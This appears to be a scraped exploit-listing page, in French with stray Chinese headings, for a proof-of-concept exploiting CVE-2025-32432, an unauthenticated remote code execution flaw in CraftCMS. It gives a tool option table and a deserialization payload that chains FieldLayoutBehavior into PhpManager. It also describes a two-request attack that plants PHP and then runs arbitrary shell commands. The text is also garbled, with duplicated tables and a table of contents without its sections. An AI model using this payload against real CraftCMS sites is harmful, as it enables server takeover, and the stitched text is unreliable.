CVE-2025-32432-PoC — Exploit Python pour CVE-2025-32432, une RCE sans authentification dans le point de terminaison asset-transform de CraftCMS. Inclut une chaîne de deux paquets pour exécuter des commandes shell arbitraires via des gadgets de désérialisation. | Kitploit

Option	Forme longue	Description	Requis
`-u`	`--url`	URL de base de la cible (sans slash final)	✅
`-c`	`--cmd`	Commande shell à exécuter	✅
`-a`	`--asset`	`assetId` connu valide	❌
`-s`	`--scan-max`	Limite de force brute (défaut: 300)	❌

{
  "assetId": 11,
  "handle": {
    "width": 1,
    "height": 1,
    "as hack": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "yii\\rbac\\PhpManager",
      "__construct()": [
        {
          "itemFile": "/tmp/sess_<SessionID>"
        }
      ]
    }
  }
}

檔案	用途
`craftcms_rce_php_check.py`	Vérification de faisabilité d'exécution PHP : une seule requête, utilisant `FnStream` pour déclencher `phpinfo()`, afin de confirmer à faible impact si la cible est vulnérable. Ce nom de fichier a été adapté pour plus de clarté ; le concept et la structure originaux sont de Chirag Artani.
`craftcms_final_payload.py`	Exploitation complète en deux paquets : d'abord implante du PHP via `FnStream`, puis exécute des commandes arbitraires via `PhpManager`.

CVE-2025-32432-PoC

Populaires

2. Avertissement 🚨

3. Fonctionnalités (payload final)

4. Prérequis

5. Installation

6. Utilisation

6.1 Vérification rapide d'exécution PHP

6.2 Exploitation complète en deux paquets

Options

7. Fonctionnement de la vulnérabilité (récapitulatif)

8. Versions testées

9. Références et lectures complémentaires

10. Crédits

11. Licence

說明中文

1. 專案內容

2. 免責聲明

3. Vérification rapide

4. Exploitation complète

5. Remerciements

6. Licence

`craftcms_rce_php_check.py`	Son de sécurité — envoie une requête en utilisant le gadget `FnStream` pour vérifier si du PHP arbitraire s'exécute (affiche la sortie de `phpinfo()`). Idéal pour une confirmation à faible impact.
`craftcms_final_payload.py`	Exploitation complète — chaîne en deux paquets : d'abord implante du PHP via `FnStream`, puis utilise le gadget `FieldLayoutBehavior → PhpManager` pour exécuter n'importe quelle commande shell.